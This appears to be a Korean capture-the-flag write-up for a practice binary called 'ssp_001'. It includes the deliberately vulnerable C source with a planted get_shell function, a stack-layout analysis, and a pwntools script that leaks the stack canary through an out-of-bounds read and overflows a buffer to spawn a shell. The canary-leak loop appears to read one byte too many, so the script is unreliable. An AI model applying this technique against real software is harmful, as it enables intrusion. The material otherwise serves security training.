#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void get_shell() {
system("/bin/sh");
}
void print_box(unsigned char *box, int idx) {
printf("Element of index %d is : %02x\n", idx, box[idx]);
}
void menu() {
puts("[F]ill the box");
puts("[P]rint the box");
puts("[E]xit");
printf("> ");
}
int main(int argc, char *argv[]) {
unsigned char box[0x40] = {};
char name[0x40] = {};
char select[2] = {};
int idx = 0, name_len = 0;
initialize();
while(1) {
menu();
read(0, select, 2);
switch( select[0] ) {
case 'F':
printf("box input : ");
read(0, box, sizeof(box));
break;
case 'P':
printf("Element index : ");
scanf("%d", &idx);
print_box(box, idx);
break;
case 'E':
printf("Name Size : ");
scanf("%d", &name_len);
printf("Name : ");
read(0, name, name_len);
return 0;
default:
break;
}
}
}
// print_box 함수
void print_box(unsigned char *box, int idx) {
printf("Element of index %d is : %02x\n", idx, box[idx]);
}
// select = 'P' 일때
case 'P':
printf("Element index : ");
scanf("%d", &idx);
print_box(box, idx);
break;
//main case 부분
char name[0x40] = {};
case 'E':
printf("Name Size : ");
scanf("%d", &name_len);
printf("Name : ");
read(0, name, name_len);
return 0;
default:
break;
3.1. 시나리오
- case 'P'에서 canary 위치를 구하여 canary를 1byte씩 여러번 읽어와 준다.
- 그 다음 name버퍼를 overflow 시켜 실행 흐름을 get_shell()로 옮겨준다.
3.2. reversing
3.2.1. cannary 위치 구하기
- <main+19>, <main+25>를 보면 gs:0x14에서 canary 값을 읽어와 [ebp-0x8]에 넣는 것을 확인 할 수 있다.
- canary = [ebp-0x8]
3.2.2. box 위치 구하기
- print하기 전에 push하는 0x804896c 확인
- case 'F' 루틴 확인
- <main+178>에 보면 [ebp-0x88]을 push하고 read 함수를 호출한다.
- box = [ebp-0x88]
- box <=> canary = 0x80
3.2.3. name 위치 구하기
- box와 마찬가지로 print 전 0x804899a 확인
- read 함수 전에 push하는 버퍼 [ebp-0x48]
- name = [ebp-0x48]
3.2.4. return address와 name 버퍼 사이 구하기
- d50c - d4c0 = 4c(76)
- name: 0x40, canary: 0x4, sfp: 0x4 = 0x48(72)
- name부터 return address까지 거리가 4c인데 name, canary, sfp 다 더 했을때와 값이 다르다. dummy값이 끼어있다.
- 0xffffd500: canary
- 0xffffd504: sfp
- 0xffffd508: dummy
- 0xffffd50c: ret
- sfp 뒤에 dummy값 확인
from pwn import *
def slog(name, addr):
return success(": ".join([name, hex(addr)]))
# p = remote('host', port)
p = process('./ssp_001')
canary = b''
get_shell = 0x080486b9
# canary leak
for idx in range(132, 127, -1): # box[132] -> box[128]까지
p.sendlineafter('> ', b'P')
p.sendlineafter('index : ', str(idx))
p.recvuntil('is : ')
canary += p.recvn(2)
canary = int(canary, 16)
slog("canary: ", canary)
# name + canary + sfp + dummy + get_shell()
payload = b'A' * 0x40
payload += p32(canary)
payload += b'B' * 0x8
payload += p32(get_shell)
print(payload)
### name buffer overflow
p.sendlineafter('> ', 'E')
p.sendlineafter('Size : ', str(1000))
p.sendafter('Name : ', payload)
p.interactive()